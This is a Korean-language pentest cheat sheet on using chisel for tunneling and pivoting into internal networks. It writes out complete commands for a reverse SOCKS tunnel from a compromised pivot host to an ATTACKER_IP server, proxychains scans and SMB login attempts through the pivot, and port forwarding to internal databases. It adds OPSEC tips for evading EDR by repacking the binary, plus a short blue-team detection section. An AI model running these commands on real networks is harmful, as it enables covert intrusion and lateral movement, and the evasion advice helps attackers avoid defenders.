ATT&CK: T1572 Protocol Tunneling, T1090 Proxy · Command and Control (TA0011)

chisel은 단일 바이너리로 서버+클라이언트를 겸하고, 모든 터널 트래픽을 HTTP(S) WebSocket 위에 올린다. 프록시 통과·방화벽 통과가 쉽고, SOCKS5가 내장돼서 내부망 pivot 구성이 극단적으로 간단.

1. 아키텍처

[공격자/pentester]  --- HTTPS (443) --->  [피벗 호스트]  --- 내부 TCP --->  [내부 리소스]
    chisel client                            chisel server
  • 터널은 HTTP/WebSocket으로 보임.
  • 피벗 쪽만 chisel 바이너리 하나 떨어뜨리면 됨.

2. 설치

# 공격자/피벗 양측 모두
curl -L https://github.com/jpillora/chisel/releases/latest/download/chisel_<ver>_linux_amd64.gz | gunzip > chisel
chmod +x chisel

Go 바이너리라 Windows/Linux/macOS/ARM 모두 지원.

3. 가장 흔한 패턴 — 피벗 호스트에서 reverse SOCKS

3.1 공격자 측 (서버)

./chisel server --port 8443 --reverse --socks5
  • --reverse: 클라이언트가 역방향으로 터널 요청 가능.
  • --socks5: SOCKS5 지원 자동 포함.
  • 운영 환경에서는 --tls-key / --tls-cert로 TLS 추가.

3.2 피벗 호스트 (클라이언트)

./chisel client http://ATTACKER_IP:8443 R:1080:socks
  • R:: reverse 터널.
  • 1080:socks: 공격자 측의 1080 포트를 피벗 호스트의 SOCKS5 서버에 연결.

3.3 공격자 측에서 사용

# proxychains 설정 (/etc/proxychains4.conf 끝)
socks5 127.0.0.1 1080

# 이제 모든 TCP 트래픽이 피벗 호스트를 경유
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 nxc smb 10.0.0.5 -u alice -p 'Pw'

SOCKS5라 UDP는 지원 안 됨 — DNS는 터널 안으로 안 들어감. nmap -sT 강제 필수, DNS 질의는 수동 처리.

4. 포트 포워딩 변형

4.1 Local port forwarding

내 머신 포트 → 피벗 호스트가 접근 가능한 내부 리소스:

./chisel client http://ATTACKER_IP:8443 R:3306:10.0.0.5:3306
  • 피벗이 공격자 측 3306 포트를 10.0.0.5:3306으로 전달.

4.2 Forward (정상 방향)

반대로 공격자 쪽에 노출된 서비스를 내부에서 접근하게 할 때 (실전에선 덜 쓰임):

# 서버: 공격자가 아니라 피벗이 서버 역할
./chisel server --port 8443

# 클라이언트: 내부에서
./chisel client http://PIVOT:8443 9000:ATTACKER_IP:9000

5. 인증

# 서버
./chisel server --port 8443 --reverse --auth 'user:pass' --socks5

# 클라이언트
./chisel client --auth 'user:pass' http://... R:1080:socks

반드시 설정. 안 걸면 아무나 터널 세션 열 수 있음.

6. TLS

./chisel server --port 8443 --reverse \
                --tls-key /etc/letsencrypt/live/me/privkey.pem \
                --tls-cert /etc/letsencrypt/live/me/fullchain.pem

클라이언트는 https://... 로 접속. 네트워크 레벨 패킷은 평범한 HTTPS WebSocket.

7. 유사 도구와의 차이

도구 특징
chisel HTTP(S) 위, SOCKS 내장, 단일 바이너리
ligolo-ng TUN 인터페이스 생성 → 라우팅 테이블 레벨 pivot (UDP/ICMP 지원)
sshuttle SSH 세션 기반 — SSH만 열려있으면 됨
ssh -D SSH 네이티브 SOCKS, 설정 간단

ligolo-ng vs chisel: ligolo는 TUN 어댑터를 띄워 “내부망 라우팅"을 OS 레벨로 처리 → UDP·ICMP도 됨, 하지만 공격자 측 root 필요. chisel은 SOCKS5라 TCP만 지원하지만 설정이 더 간단.

8. OPSEC

  • 피벗 호스트에 바이너리 하나 떨어짐 → EDR이 chisel 시그니처로 쉽게 탐지. UPX·커스텀 빌드로 흔적 변경 가능.
  • WebSocket 트래픽이 장시간 연결 유지 → NDR 룰로 특이 패턴 감지됨 (일반 HTTP는 짧은 세션 반복이 보통).
  • 443으로 외부로 나가는 egress는 거의 모든 환경에서 열려있어서 채널 확보는 쉬움. 그 뒤의 세션 지문 숨기기가 어려움.

9. 블루팀 신호

  • Zeek conn.log에서 비정상적으로 긴 duration + 많은 bytes_received HTTP 세션.
  • 알려진 chisel 바이너리 해시 (VT로 거의 다 올라가 있음).
  • 네트워크 세분화(micro-segmentation)로 피벗 가능 범위 축소가 근본 완화.

참고